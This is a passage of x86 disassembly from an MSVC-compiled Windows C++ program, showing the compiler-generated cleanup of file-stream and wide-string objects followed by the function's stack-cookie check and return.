mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x30c], eax
lea ecx, [ebp - 0x2f8]
call fcn.00434f40
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x30c], eax
lea eax, [ebp - 0x298]
mov byte [ebp - 4], 0x2c
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0047943f
mov byte [ebp - 4], 0x24
add esp, 4
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x42116a
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421160
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x530]
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
call fcn.00421600
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x8c]
cmp edx, 8
jb 0x4211d6
mov ecx, dword [ebp - 0xa0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4211cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x5e8]
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
call fcn.00421600
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x42123c
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421232
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x6a0]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00421600
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x421299
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42128f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.004214d0
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3c4], eax
lea ecx, [ebp - 0x3b0]
call fcn.00434f40
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x3c4], eax
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x2d
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0047943f
mov byte [ebp - 4], 5
add esp, 4
mov edx, dword [ebp - 0x74]
cmp edx, 8
jb 0x42136f
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421365
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x78], 0
mov word [ebp - 0x88], ax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x74], 7
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x478]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x47c], eax
lea ecx, [ebp - 0x468]
call fcn.00434f40
mov eax, dword [ebp - 0x478]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x478]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x47c], eax
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 0x2e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0047943f
mov edx, dword [ebp - 0x44]
add esp, 4
cmp edx, 8
jb 0x421436
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42142c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.00405240
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x42148b
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421481
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214c4
push edx
push ecx
call fcn.004913bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00490d3b
mov esp, ebp
pop ebp
ret
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
int3